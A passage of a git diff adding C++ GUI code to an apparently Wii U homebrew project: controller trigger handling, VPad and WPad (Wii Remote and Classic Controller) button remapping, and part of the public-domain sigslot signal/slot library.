Trigger button is pressed + */ +void GuiTrigger::setTrigger(u32 ch, u32 btn) +{ + chan = ch; + btns = btn; +} + +bool GuiTrigger::left(const GuiController *controller) const +{ + if((controller->chan & chan) == 0) { + return false; + } + if((controller->data.buttons_h | controller->data.buttons_d) & (BUTTON_LEFT | STICK_L_LEFT)) + { + return true; + } + return false; +} + +bool GuiTrigger::right(const GuiController *controller) const +{ + if((controller->chan & chan) == 0) { + return false; + } + if((controller->data.buttons_h | controller->data.buttons_d) & (BUTTON_RIGHT | STICK_L_RIGHT)) + { + return true; + } + return false; +} + +bool GuiTrigger::up(const GuiController *controller) const +{ + if((controller->chan & chan) == 0) { + return false; + } + if((controller->data.buttons_h | controller->data.buttons_d) & (BUTTON_UP | STICK_L_UP)) + { + return true; + } + return false; +} + +bool GuiTrigger::down(const GuiController *controller) const +{ + if((controller->chan & chan) == 0) { + return false; + } + if((controller->data.buttons_h | controller->data.buttons_d) & (BUTTON_DOWN | STICK_L_DOWN)) + { + return true; + } + return false; +} + +bool GuiTrigger::clicked(const GuiController *controller) const +{ + if((controller->chan & chan) == 0) { + return false; + } + + bool bResult = false; + + if(controller->data.touched && controller->data.validPointer && (btns & VPAD_TOUCH) && !controller->lastData.touched) + { + bResult = true; + } + + if(controller->data.buttons_d & btns) + { + bResult = true; + } + return bResult; +} + +bool GuiTrigger::held(const GuiController *controller) const +{ + if((controller->chan & chan) == 0) { + return false; + } + + bool bResult = false; + + if(controller->data.touched && (btns & VPAD_TOUCH) && controller->data.validPointer && controller->lastData.touched && controller->lastData.validPointer) + { + bResult = true; + } + + if(controller->data.buttons_h & btns) + { + bResult = true; + } + + return bResult; +} + +bool GuiTrigger::released(const GuiController *controller) const +{ + if((controller->chan & chan) == 0) { + return false; + } + + if(clicked(controller) || held(controller)) + return false; + + bool bResult = false; + + if(!controller->data.touched && (btns & VPAD_TOUCH) && controller->lastData.touched && controller->lastData.validPointer) + { + bResult = true; + } + + if(controller->data.buttons_r & btns) + { + bResult = true; + } + + return bResult; +} + diff --git a/src/gui/GuiTrigger.h b/src/gui/GuiTrigger.h new file mode 100644 index 0000000..22909de --- /dev/null +++ b/src/gui/GuiTrigger.h @@ -0,0 +1,101 @@ +/*************************************************************************** + * Copyright (C) 2015 Dimok + * + * This program is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + ****************************************************************************/ +#ifndef GUI_TRIGGER_H_ +#define GUI_TRIGGER_H_ + +#include "dynamic_libs/os_functions.h" + + +//!Menu input trigger management. Determine if action is neccessary based on input data by comparing controller input data to a specific trigger element. +class GuiTrigger +{ +public: + enum eChannels { + CHANNEL_1 = 0x01, + CHANNEL_2 = 0x02, + CHANNEL_3 = 0x04, + CHANNEL_4 = 0x08, + CHANNEL_5 = 0x10, + CHANNEL_ALL = 0xFF + }; + enum eButtons { + BUTTON_NONE = 0x0000, + VPAD_TOUCH = 0x80000000, + BUTTON_Z = 0x20000, + BUTTON_C = 0x10000, + BUTTON_A = 0x8000, + BUTTON_B = 0x4000, + BUTTON_X = 0x2000, + BUTTON_Y = 0x1000, + BUTTON_1 = BUTTON_Y, + BUTTON_2 = BUTTON_X, + BUTTON_LEFT = 0x0800, + BUTTON_RIGHT = 0x0400, + BUTTON_UP = 0x0200, + BUTTON_DOWN = 0x0100, + BUTTON_ZL = 0x0080, + BUTTON_ZR = 0x0040, + BUTTON_L = 0x0020, + BUTTON_R = 0x0010, + BUTTON_PLUS = 0x0008, + BUTTON_MINUS = 0x0004, + BUTTON_HOME = 0x0002, + BUTTON_SYNC = 0x0001, + STICK_R_LEFT = 0x04000000, + STICK_R_RIGHT = 0x02000000, + STICK_R_UP = 0x01000000, + STICK_R_DOWN = 0x00800000, + STICK_L_LEFT = 0x40000000, + STICK_L_RIGHT = 0x20000000, + STICK_L_UP = 0x10000000, + STICK_L_DOWN = 0x08000000 + }; + + //!Constructor + GuiTrigger(); + //!Constructor + GuiTrigger(u32 ch, u32 btns, bool clickEverywhere = false, bool holdEverywhere = false, bool selectionClickEverywhere = false); + //!Destructor + virtual ~GuiTrigger(); + //!Sets a simple trigger. Requires: element is selected, and trigger button is pressed + void setTrigger(u32 ch, u32 btns); + + void setClickEverywhere(bool b) { bClickEverywhere = b; } + void setHoldOnly(bool b) { bHoldEverywhere = b; } + void setSelectionClickEverywhere(bool b) { bSelectionClickEverywhere = b; } + + bool isClickEverywhere() const { return bClickEverywhere; } + bool isHoldEverywhere() const { return bHoldEverywhere; } + bool isSelectionClickEverywhere() const { return bSelectionClickEverywhere; } + + bool left(const GuiController *controller) const; + bool right(const GuiController *controller) const; + bool up(const GuiController *controller) const; + bool down(const GuiController *controller) const; + bool clicked(const GuiController *controller) const; + bool held(const GuiController *controller) const; + bool released(const GuiController *controller) const; +private: + u32 chan; + u32 btns; + bool bClickEverywhere; + bool bHoldEverywhere; + bool bSelectionClickEverywhere; + bool bLastTouched; +}; + +#endif diff --git a/src/gui/VPadController.h b/src/gui/VPadController.h new file mode 100644 index 0000000..f8ac65d --- /dev/null +++ b/src/gui/VPadController.h @@ -0,0 +1,62 @@ +/**************************************************************************** + * Copyright (C) 2015 Dimok + * + * This program is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + ****************************************************************************/ +#ifndef VPAD_CONTROLLER_H_ +#define VPAD_CONTROLLER_H_ + +#include "GuiController.h" +#include "dynamic_libs/vpad_functions.h" + +class VPadController : public GuiController +{ +public: + //!Constructor + VPadController(int channel) + : GuiController(channel) + { + memset(&vpad, 0, sizeof(vpad)); + } + + //!Destructor + virtual ~VPadController() {} + + bool update(int width, int height) + { + lastData = data; + + int vpadError = -1; + VPADRead(0, &vpad, 1, &vpadError); + + if(vpadError == 0) + { + data.buttons_r = vpad.btns_r; + data.buttons_h = vpad.btns_h; + data.buttons_d = vpad.btns_d; + data.validPointer = !vpad.tpdata.invalid; + data.touched = vpad.tpdata.touched; + //! calculate the screen offsets + data.x = -(width >> 1) + (int)((vpad.tpdata1.x * width) >> 12); + data.y = (height >> 1) - (int)(height - ((vpad.tpdata1.y * height) >> 12)); + return true; + } + return false; + } + +private: + VPADData vpad; +}; + +#endif diff --git a/src/gui/WPadController.h b/src/gui/WPadController.h new file mode 100644 index 0000000..26d1d98 --- /dev/null +++ b/src/gui/WPadController.h @@ -0,0 +1,179 @@ +/**************************************************************************** + * Copyright (C) 2015 Dimok + * + * This program is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + ****************************************************************************/ +#ifndef WPAD_CONTROLLER_H_ +#define WPAD_CONTROLLER_H_ + +#include "GuiController.h" +#include "dynamic_libs/padscore_functions.h" + +class WPadController : public GuiController +{ +public: + //!Constructor + WPadController(int channel) + : GuiController(channel) + { + memset(&kpadData, 0, sizeof(kpadData)); + } + + //!Destructor + virtual ~WPadController() {} + + u32 remapWiiMoteButtons(u32 buttons) + { + u32 conv_buttons = 0; + + if(buttons & WPAD_BUTTON_LEFT) + conv_buttons |= GuiTrigger::BUTTON_LEFT; + + if(buttons & WPAD_BUTTON_RIGHT) + conv_buttons |= GuiTrigger::BUTTON_RIGHT; + + if(buttons & WPAD_BUTTON_DOWN) + conv_buttons |= GuiTrigger::BUTTON_DOWN; + + if(buttons & WPAD_BUTTON_UP) + conv_buttons |= GuiTrigger::BUTTON_UP; + + if(buttons & WPAD_BUTTON_PLUS) + conv_buttons |= GuiTrigger::BUTTON_PLUS; + + if(buttons & WPAD_BUTTON_2) + conv_buttons |= GuiTrigger::BUTTON_2; + + if(buttons & WPAD_BUTTON_1) + conv_buttons |= GuiTrigger::BUTTON_1; + + if(buttons & WPAD_BUTTON_B) + conv_buttons |= GuiTrigger::BUTTON_B; + + if(buttons & WPAD_BUTTON_A) + conv_buttons |= GuiTrigger::BUTTON_A; + + if(buttons & WPAD_BUTTON_MINUS) + conv_buttons |= GuiTrigger::BUTTON_MINUS; + + if(buttons & WPAD_BUTTON_Z) + conv_buttons |= GuiTrigger::BUTTON_Z; + + if(buttons & WPAD_BUTTON_C) + conv_buttons |= GuiTrigger::BUTTON_C; + + if(buttons & WPAD_BUTTON_HOME) + conv_buttons |= GuiTrigger::BUTTON_HOME; + + return conv_buttons; + } + u32 remapClassicButtons(u32 buttons) + { + u32 conv_buttons = 0; + + if(buttons & WPAD_CLASSIC_BUTTON_LEFT) + conv_buttons |= GuiTrigger::BUTTON_LEFT; + + if(buttons & WPAD_CLASSIC_BUTTON_RIGHT) + conv_buttons |= GuiTrigger::BUTTON_RIGHT; + + if(buttons & WPAD_CLASSIC_BUTTON_DOWN) + conv_buttons |= GuiTrigger::BUTTON_DOWN; + + if(buttons & WPAD_CLASSIC_BUTTON_UP) + conv_buttons |= GuiTrigger::BUTTON_UP; + + if(buttons & WPAD_CLASSIC_BUTTON_PLUS) + conv_buttons |= GuiTrigger::BUTTON_PLUS; + + if(buttons & WPAD_CLASSIC_BUTTON_X) + conv_buttons |= GuiTrigger::BUTTON_X; + + if(buttons & WPAD_CLASSIC_BUTTON_Y) + conv_buttons |= GuiTrigger::BUTTON_Y; + + if(buttons & WPAD_CLASSIC_BUTTON_B) + conv_buttons |= GuiTrigger::BUTTON_B; + + if(buttons & WPAD_CLASSIC_BUTTON_A) + conv_buttons |= GuiTrigger::BUTTON_A; + + if(buttons & WPAD_CLASSIC_BUTTON_MINUS) + conv_buttons |= GuiTrigger::BUTTON_MINUS; + + if(buttons & WPAD_CLASSIC_BUTTON_HOME) + conv_buttons |= GuiTrigger::BUTTON_HOME; + + if(buttons & WPAD_CLASSIC_BUTTON_ZR) + conv_buttons |= GuiTrigger::BUTTON_ZR; + + if(buttons & WPAD_CLASSIC_BUTTON_ZL) + conv_buttons |= GuiTrigger::BUTTON_ZL; + + if(buttons & WPAD_CLASSIC_BUTTON_R) + conv_buttons |= GuiTrigger::BUTTON_R; + + if(buttons & WPAD_CLASSIC_BUTTON_L) + conv_buttons |= GuiTrigger::BUTTON_L; + + return conv_buttons; + } + + bool update(int width, int height) + { + lastData = data; + + u32 controller_type; + + //! check if the controller is connected + if(WPADProbe(chanIdx-1, &controller_type) != 0) + return false; + + KPADRead(chanIdx-1, &kpadData, 1); + + if(kpadData.device_type <= 1) + { + data.buttons_r = remapWiiMoteButtons(kpadData.btns_r); + data.buttons_h = remapWiiMoteButtons(kpadData.btns_h); + data.buttons_d = remapWiiMoteButtons(kpadData.btns_d); + } + else + { + data.buttons_r = remapClassicButtons(kpadData.classic.btns_r); + data.buttons_h = remapClassicButtons(kpadData.classic.btns_h); + data.buttons_d = remapClassicButtons(kpadData.classic.btns_d); + } + + data.validPointer = (kpadData.pos_valid == 1 || kpadData.pos_valid == 2) && (kpadData.pos_x >= -1.0f && kpadData.pos_x <= 1.0f) && (kpadData.pos_y >= -1.0f && kpadData.pos_y <= 1.0f); + //! calculate the screen offsets if pointer is valid else leave old value + if(data.validPointer) + { + data.x = (width >> 1) * kpadData.pos_x; + data.y = (height >> 1) * (-kpadData.pos_y); + + if(kpadData.angle_y > 0.0f) + data.pointerAngle = (-kpadData.angle_x + 1.0f) * 0.5f * 180.0f; + else + data.pointerAngle = (kpadData.angle_x + 1.0f) * 0.5f * 180.0f - 180.0f; + } + + return true; + } + +private: + KPADData kpadData; + u32 lastButtons; +}; + +#endif diff --git a/src/gui/sigslot.h b/src/gui/sigslot.h new file mode 100644 index 0000000..d1f3844 --- /dev/null +++ b/src/gui/sigslot.h @@ -0,0 +1,2731 @@ +// sigslot.h: Signal/Slot classes +// +// Written by Sarah Thompson (sarah@telergy.com) 2002. +// +// License: Public domain. You are free to use this code however you like, with the proviso that +// the author takes on no responsibility or liability for any use. +// +// QUICK DOCUMENTATION +// +// (see also the full documentation at http://sigslot.sourceforge.net/) +// +// #define switches +// SIGSLOT_PURE_ISO - Define this to force ISO C++ compliance. This also disables +// all of the thread safety support on platforms where it is +// available. +// +// SIGSLOT_USE_POSIX_THREADS - Force use of Posix threads when using a C++ compiler other than +// gcc on a platform that supports Posix threads. (When using gcc, +// this is the default - use SIGSLOT_PURE_ISO to disable this if +// necessary) +// +// SIGSLOT_DEFAULT_MT_POLICY - Where thread support is enabled, this defaults to multi_threaded_global. +// Otherwise, the default is single_threaded. #define this yourself to +// override the default. In pure ISO mode, anything other than +// single_threaded will cause a compiler error. +// +// PLATFORM NOTES +// +// Win32 - On Win32, the WIN32 symbol must be #defined. Most mainstream +// compilers do this by default, but you may need to define it +// yourself if your build environment is less standard. This causes +// the Win32 thread support to be compiled in and used automatically. +// +// Unix/Linux/BSD, etc. - If you're using gcc, it is assumed that you have Posix threads +// available, so they are used automatically. You can override this +// (as under Windows) with the SIGSLOT_PURE_ISO switch. If you're using +// something other than gcc but still want to use Posix threads, you +// need to #define SIGSLOT_USE_POSIX_THREADS. +// +// ISO C++ - If none of the supported platforms are detected, or if +// SIGSLOT_PURE_ISO is defined, all multithreading support is turned off, +// along with any code that might cause a pure ISO C++ environment to +// complain. Before you ask, gcc -ansi -pedantic won't compile this +// library, but gcc -ansi is fine. Pedantic mode seems to throw a lot of +// errors that aren't really there. If you feel like investigating this, +// please contact the author. +// +// +// THREADING MODES +// +// single_threaded - Your program is assumed to be single threaded from the point of view +// of signal/slot usage (i.e. all objects using signals and slots are +// created and destroyed from a single thread). Behaviour if objects are +// destroyed concurrently is undefined (i.e. you'll get the occasional +// segmentation fault/memory exception). +// +// multi_threaded_global - Your program is assumed to be multi threaded. Objects using signals and +// slots can be safely created and destroyed from any thread, even when +// connections exist. In multi_threaded_global mode, this is achieved by a +// single global mutex (actually a critical section on Windows because they +// are faster). This option uses less OS resources, but results in more +// opportunities for contention, possibly resulting in more context switches +// than are strictly necessary. +// +// multi_threaded_local - Behaviour in this mode is essentially the same as multi_threaded_global, +// except that each signal, and each object that inherits has_slots, all +// have their own mutex/critical section. In practice, this means that +// mutex collisions (and hence context switches) only happen if they are +// absolutely essential. However, on some platforms, creating a lot of +// mutexes can slow down the whole OS, so use this option with care. +// +// USING THE LIBRARY +// +// See the full documentation at http://sigslot.sourceforge.net/ +// +// +#ifndef SIGSLOT_H__ +#define SIGSLOT_H__ + +#include +#include + +#define _SIGSLOT_SINGLE_THREADED + +#ifndef SIGSLOT_DEFAULT_MT_POLICY +# ifdef _SIGSLOT_SINGLE_THREADED +# define SIGSLOT_DEFAULT_MT_POLICY single_threaded +# else +# define SIGSLOT_DEFAULT_MT_POLICY multi_threaded_local +# endif +#endif + + +namespace sigslot { + + class single_threaded + { + public: + single_threaded() + { + ; + } + + virtual ~single_threaded() + { + ; + } + + virtual void lock() + { + ; + } + + virtual void unlock() + { + ; + } + }; + +#ifdef _SIGSLOT_HAS_WIN32_THREADS + // The multi threading policies only get compiled in if they are enabled. + class multi_threaded_global + { + public: + multi_threaded_global() + { + static bool isinitialised = false; + + if(!isinitialised) + { + InitializeCriticalSection(get_critsec()); + isinitialised = true; + } + } + + multi_threaded_global(const multi_threaded_global&) + { + ; + } + + virtual ~multi_threaded_global() + { + ; + } + + virtual void lock() + { + EnterCriticalSection(get_critsec()); + } + + virtual void unlock() + { + LeaveCriticalSection(get_critsec()); + } + + private: + CRITICAL_SECTION* get_critsec() + { + static CRITICAL_SECTION g_critsec; + return &g_critsec; + } + }; + + class multi_threaded_local + { + public: + multi_threaded_local() + { + InitializeCriticalSection(&m_critsec); + } + + multi_threaded_local(const multi_threaded_local&) + { + InitializeCriticalSection(&m_critsec); + } + + virtual ~multi_threaded_local() + { + DeleteCriticalSection(&m_critsec); + } + + virtual void lock() + { + EnterCriticalSection(&m_critsec); + } + + virtual void unlock() + { + LeaveCriticalSection(&m_critsec); + } + + private: + CRITICAL_SECTION m_critsec; + }; +#endif // _SIGSLOT_HAS_WIN32_THREADS + +#ifdef _SIGSLOT_HAS_POSIX_THREADS + // The multi threading policies only get compiled in if they are enabled. + class multi_threaded_global + { + public: + multi_threaded_global() + { + pthread_mutex_init(get_mutex(), NULL); + } + + multi_threaded_global(const multi_threaded_global&) + { + ; + } + + virtual ~multi_threaded_global() + { + ; + } + + virtual void lock() + { + pthread_mutex_lock(get_mutex()); + } + + virtual void unlock() + { + pthread_mutex_unlock(get_mutex()); + } + + private: + pthread_mutex_t* get_mutex() + { + static pthread_mutex_t g_mutex; + return &g_mutex; + } + }; + + class multi_threaded_local + { + public: + multi_threaded_local() + { + pthread_mutex_init(&m_mutex, NULL); + } + + multi_threaded_local(const multi_threaded_local&) + { + pthread_mutex_init(&m_mutex, NULL); + } + + virtual ~multi_threaded_local() + { + pthread_mutex_destroy(&m_mutex); + } + + virtual void lock() + { + pthread_mutex_lock(&m_mutex); + } + + virtual void unlock() + { + pthread_mutex_unlock(&m_mutex); + } + + private: + pthread_mutex_t m_mutex; + }; +#endif // _SIGSLOT_HAS_POSIX_THREADS + +#ifdef _SIGSLOT_HAS_LWP_THREADS + + class multi_threaded_global + { + public: + multi_threaded_global() + { + ; + } + + multi_threaded_global(const multi_threaded_global&) + { + ; + } + + virtual ~multi_threaded_global() + { + ; + } + + virtual void lock() + { + ; + } + + virtual void unlock() + { + ; + } + }; + + class multi_threaded_local + { + public: + multi_threaded_local() + { + ; + } + + multi_threaded_local(const multi_threaded_local&) + { + ; + } + + virtual ~multi_threaded_local() + { + } + + virtual void lock() + { + ; + } + + virtual void unlock() + { + ; + } + }; + +#endif // _SIGSLOT_HAS_LWP_THREADS + + template + class lock_block + { + public: + mt_policy *m_mutex; + + lock_block(mt_policy *mtx) + : m_mutex(mtx) + { + m_mutex->lock(); + } + + ~lock_block() + { + m_mutex->unlock(); + } + }; + + template + class has_slots; + + template + class _connection_base0 + { + public: + virtual ~_connection_base0() { ; } + virtual has_slots* getdest() const = 0; + virtual void emit() = 0; + virtual _connection_base0* clone() = 0; + virtual _connection_base0* duplicate(has_slots* pnewdest) = 0; + }; + + template + class _connection_base1 + { + public: + virtual ~_connection_base1() { ; } + virtual has_slots* getdest() const = 0; + virtual void emit(arg1_type) = 0; + virtual _connection_base1* clone() = 0; + virtual _connection_base1* duplicate(has_slots* pnewdest) = 0; + }; + + template + class _connection_base2 + { + public: + virtual ~_connection_base2() { ; } + virtual has_slots* getdest() const = 0; + virtual void emit(arg1_type, arg2_type) = 0; + virtual _connection_base2* clone() = 0; + virtual _connection_base2* duplicate(has_slots* pnewdest) = 0; + }; + + template + class _connection_base3 + { + public: + virtual ~_connection_base3() { ; } + virtual has_slots* getdest() const = 0; + virtual void emit(arg1_type, arg2_type, arg3_type) = 0; + virtual _connection_base3* clone() = 0; + virtual _connection_base3* duplicate(has_slots* pnewdest) = 0; + }; + + template + class _connection_base4 + { + public: + virtual ~_connection_base4() { ; } + virtual has_slots* getdest() const = 0; + virtual void emit(arg1_type, arg2_type, arg3_type, arg4_type) = 0; + virtual _connection_base4* clone() = 0; + virtual _connection_base4* duplicate(has_slots* pnewdest) = 0; + }; + + template + class _connection_base5 + { + public: + virtual ~_connection_base5() { ; } + virtual has_slots* getdest() const = 0; + virtual void emit(arg1_type, arg2_type, arg3_type, arg4_type, + arg5_type) = 0; + virtual _connection_base5* clone() = 0; + virtual _connection_base5* duplicate(has_slots* pnewdest) = 0; + }; + + template + class _connection_base6 + { + public: + virtual ~_connection_base6() { ; } + virtual has_slots* getdest() const = 0; + virtual void emit(arg1_type, arg2_type, arg3_type, arg4_type, arg5_type, + arg6_type) = 0; + virtual _connection_base6* clone() = 0; + virtual _connection_base6* duplicate(has_slots* pnewdest) = 0; + }; + + template + class _connection_base7 + { + public: + virtual ~_connection_base7() { ; } + virtual has_slots* getdest() const = 0; + virtual void emit(arg1_type, arg2_type, arg3_type, arg4_type, arg5_type, + arg6_type, arg7_type) = 0; + virtual _connection_base7* clone() = 0; + virtual _connection_base7* duplicate(has_slots* pnewdest) = 0; + }; + + template + class _connection_base8 + { + public: + virtual ~_connection_base8() { ; } + virtual has_slots* getdest() const = 0; + virtual void emit(arg1_type, arg2_type, arg3_type, arg4_type, arg5_type, + arg6_type, arg7_type, arg8_type) = 0; + virtual _connection_base8* clone() = 0; + virtual _connection_base8* duplicate(has_slots* pnewdest) = 0; + }; + + template + class _signal_base : public mt_policy + { + public: + virtual void slot_disconnect(has_slots* pslot) = 0; + virtual void slot_duplicate(const has_slots* poldslot, has_slots* pnewslot) = 0; + }; + + template + class has_slots : public mt_policy + { + private: + typedef typename std::set<_signal_base *> sender_set; + typedef typename sender_set::const_iterator const_iterator; + + public: + has_slots() + { + ; + } + + has_slots(const has_slots& hs) + : mt_policy(hs) + { + lock_block lock(this); + const_iterator it = hs.m_senders.begin(); + const_iterator itEnd = hs.m_senders.end(); + + while(it != itEnd) + { + (*it)->slot_duplicate(&hs, this); + m_senders.insert(*it); + ++it; + } + } + + void signal_connect(_signal_base* sender) + { + lock_block lock(this); + m_senders.insert(sender); + } + + void signal_disconnect(_signal_base* sender) + { + lock_block lock(this); + m_senders.erase(sender); + } + + virtual ~has_slots() + { + disconnect_all(); + } + + void disconnect_all() + { + lock_block lock(this); + const_iterator it = m_senders.begin(); + const_iterator itEnd = m_senders.end(); + + while(it != itEnd) + { + (*it)->slot_disconnect(this); + ++it; + } + + m_senders.erase(m_senders.begin(), m_senders.end()); + } + + private: + sender_set m_senders; + }; + + template + class _signal_base0 : public _signal_base + { + public: + typedef typename std::list<_connection_base0 *> connections_list; + typedef typename connections_list::const_iterator const_iterator; + typedef typename connections_list::iterator iterator; + + _signal_base0() + { + ; + } + + _signal_base0(const _signal_base0& s) + : _signal_base(s) + { + lock_block lock(this); + const_iterator it = s.m_connected_slots.begin(); + const_iterator itEnd = s.m_connected_slots.end(); + + while(it != itEnd) + { + (*it)->getdest()->signal_connect(this); + m_connected_slots.push_back((*it)->clone()); + + ++it; + } + } + + ~_signal_base0() + { + disconnect_all(); + } + + void disconnect_all() + { + lock_block lock(this); + const_iterator it = m_connected_slots.begin(); + const_iterator itEnd = m_connected_slots.end(); + + while(it != itEnd) + { + (*it)->getdest()->signal_disconnect(this); + delete *it; + + ++it; + } + + m_connected_slots.erase(m_connected_slots.begin(), m_connected_slots.end()); + } + + void disconnect(has_slots* pclass) + { + lock_block lock(this); + iterator it = m_connected_slots.begin(); + iterator itEnd = m_connected_slots.end(); + + while(it != itEnd) + { + if((*it)->getdest() == pclass) + { + delete *it; + m_connected_slots.erase(it); + pclass->signal_disconnect(this); + return; + } + + ++it; + } + } + + bool connected() + { + return m_connected_slots.size() != 0; + } + + void slot_disconnect(has_slots* pslot) + { + lock_block lock(this); + iterator it = m_connected_slots.begin(); + iterator itEnd = m_connected_slots.end(); + + while(it != itEnd) + { + iterator itNext = it; + ++itNext; + + if((*it)->getdest() == pslot) + { + delete *it; + m_connected_slots.erase(it); + // delete *it; + } + + it = itNext; + } + } + + void slot_duplicate(const has_slots* oldtarget, has_slots* newtarget) + { + lock_block lock(this); + iterator it = m_connected_slots.begin(); + iterator itEnd = m_connected_slots.end(); + + while(it != itEnd) + { + if((*it)->getdest() == oldtarget) + { + m_connected_slots.push_back((*it)->duplicate(newtarget)); + } + + ++it; + } + } + + protected: + connections_list m_connected_slots; + }; + + template + class _signal_base1 : public _signal_base + { + public: + typedef typename std::list<_connection_base1 *> connections_list; + typedef typename connections_list::const_iterator const_iterator; + typedef typename connections_list::iterator iterator; + + _signal_base1() + { + ; + } + + _signal_base1(const _signal_base1& s) + : _signal_base(s) + { + lock_block lock(this); + const_iterator it = s.m_connected_slots.begin(); + const_iterator itEnd = s.m_connected_slots.end(); + + while(it != itEnd) + { + (*it)->getdest()->signal_connect(this); + m_connected_slots.push_back((*it)->clone()); + + ++it; + } + } + + void slot_duplicate(const has_slots* oldtarget, has_slots* newtarget) + { + lock_block lock(this); + iterator it = m_connected_slots.begin(); + iterator itEnd = m_connected_slots.end(); + + while(it != itEnd) + { + if((*it)->getdest() == oldtarget) + { + m_connected_slots.push_back((*it)->duplicate(newtarget)); + } + + ++it; + } + } + + ~_signal_base1() + { + disconnect_all(); + } + + void disconnect_all() + { + lock_block lock(this); + const_iterator it = m_connected_slots.begin(); + const_iterator itEnd = m_connected_slots.end(); + + while(it != itEnd) + { + (*it)->getdest()->signal_disconnect(this); + delete *it; + + ++it; + } + + m_connected_slots.erase(m_connected_slots.begin(), m_connected_slots.end()); + } + + void disconnect(has_slots* pclass) + { + lock_block lock(this); + iterator it = m_connected_slots.begin(); + iterator itEnd = m_connected_slots.end(); + + while(it != itEnd) + { + if((*it)->getdest() == pclass) + { + delete *it; + m_connected_slots.erase(it); + pclass->signal_disconnect(this); + return; + } + + ++it; + } + } + + bool connected() + { + return m_connected_slots.size() != 0; + } + + void slot_disconnect(has_slots* pslot) + { + lock_block lock(this); + iterator it = m_connected_slots.begin(); + iterator itEnd = m_connected_slots.end(); + + while(it != itEnd) + { + iterator itNext = it; + ++itNext; + + if((*it)->getdest() == pslot) + { + delete *it; + m_connected_slots.erase(it); + // delete *it; + } + + it = itNext; + } + } + + + protected: + connections_list m_connected_slots; + }; + + template + class _signal_base2 : public _signal_base + { + public: + typedef typename std::list<_connection_base2 *> + connections_list; + typedef typename connections_list::const_iterator const_iterator; + typedef typename connections_list::iterator iterator; + + _signal_base2() + { + ; + } + + _signal_base2(const _signal_base2& s) + : _signal_base(s) + { + lock_block lock(this); + const_iterator it = s.m_connected_slots.begin(); + const_iterator itEnd = s.m_connected_slots.end(); + + while(it != itEnd) + { + (*it)->getdest()->signal_connect(this); + m_connected_slots.push_back((*it)->clone()); + + ++it; + } + } + + void slot_duplicate(const has_slots* oldtarget, has_slots* newtarget) + { + lock_block lock(this); + iterator it = m_connected_slots.begin(); + iterator itEnd = m_connected_slots.end(); + + while(it != itEnd) + { + if((*it)->getdest() == oldtarget) + { + m_connected_slots.push_back((*it)->duplicate(newtarget)); + } + + ++it; + } + } + + ~_signal_base2() + { + disconnect_all(); + } + + void disconnect_all() + { + lock_block lock(this); + const_iterator it = m_connected_slots.begin(); + const_iterator itEnd = m_connected_slots.end(); + + while(it != itEnd) + { + (*it)->getdest()->signal_disconnect(this); + delete *it; + + ++it; + } + + m_connected_slots.erase(m_connected_slots.begin(), m_connected_slots.end()); + } + + void disconnect(has_slots* pclass) + { + lock_block lock(this); + iterator it = m_connected_slots.begin(); + iterator itEnd = m_connected_slots.end(); + + while(it != itEnd) + { + if((*it)->getdest() == pclass) + { + delete *it; + m_connected_slots.erase(it); + pclass->signal_disconnect(this); + return; + } + + ++it; + } + } + + bool connected() + { + return m_connected_slots.size() != 0; + } + + void slot_disconnect(has_slots* pslot) + { + lock_block lock(this); + iterator it = m_connected_slots.begin(); + iterator itEnd = m_connected_slots.end(); + + while(it != itEnd) + { + iterator itNext = it; + ++itNext; + + if((*it)->getdest() == pslot) + { + delete *it; + m_connected_slots.erase(it); + // delete *it; + } + + it = itNext; + } + } + + protected: + connections_list m_connected_slots; + }; + + template + class _signal_base3 : public _signal_base + { + public: + typedef std::list<_connection_base3 *> + connections_list; + + typedef typename connections_list::const_iterator const_iterator; + typedef typename connections_list::iterator iterator; + _signal_base3() + { + ; + } + + _signal_base3(const _signal_base3& s) + : _signal_base(s) + { + lock_block lock(this); + const_iterator it = s.m_connected_slots.begin(); + const_iterator itEnd = s.m_connected_slots.end(); + + while(it != itEnd) + { + (*it)->getdest()->signal_connect(this); + m_connected_slots.push_back((*it)->clone()); + + ++it; + } + } + + void slot_duplicate(const has_slots* oldtarget, has_slots* newtarget) + { + lock_block lock(this); + iterator it = m_connected_slots.begin(); + iterator itEnd = m_connected_slots.end(); + + while(it != itEnd) + { + if((*it)->getdest() == oldtarget) + { + m_connected_slots.push_back((*it)->duplicate(newtarget)); + } + + ++it; + } + } + + ~_signal_base3() + { + disconnect_all(); + } + + void disconnect_all() + { + lock_block lock(this); + const_iterator it = m_connected_slots.begin(); + const_iterator itEnd = m_connected_slots.end(); + + while(it != itEnd) + { + (*it)->getdest()->signal_disconnect(this); + delete *it; + + ++it; + } + + m_connected_slots.erase(m_connected_slots.begin(), m_connected_slots.end()); + } + + void disconnect(has_slots* pclass) + { + lock_block lock(this); + iterator it = m_connected_slots.begin(); + iterator itEnd = m_connected_slots.end(); + + while(it != itEnd) + { + if((*it)->getdest() == pclass) + { + delete *it; + m_connected_slots.erase(it); + pclass->signal_disconnect(this); + return; + } + + ++it; + } + } + + bool connected() + { + return m_connected_slots.size() != 0; + } + + void slot_disconnect(has_slots* pslot) + { + lock_block lock(this); + iterator it = m_connected_slots.begin(); + iterator itEnd = m_connected_slots.end(); + + while(it != itEnd) + { + iterator itNext = it; + ++itNext; + + if((*it)->getdest() == pslot) + { + delete *it; + m_connected_slots.erase(it); + // delete *it; + } + + it = itNext; + } + } + + protected: + connections_list m_connected_slots; + }; + + template + class _signal_base4 : public _signal_base + { + public: + typedef std::list<_connection_base4 *> connections_list; + typedef typename connections_list::const_iterator 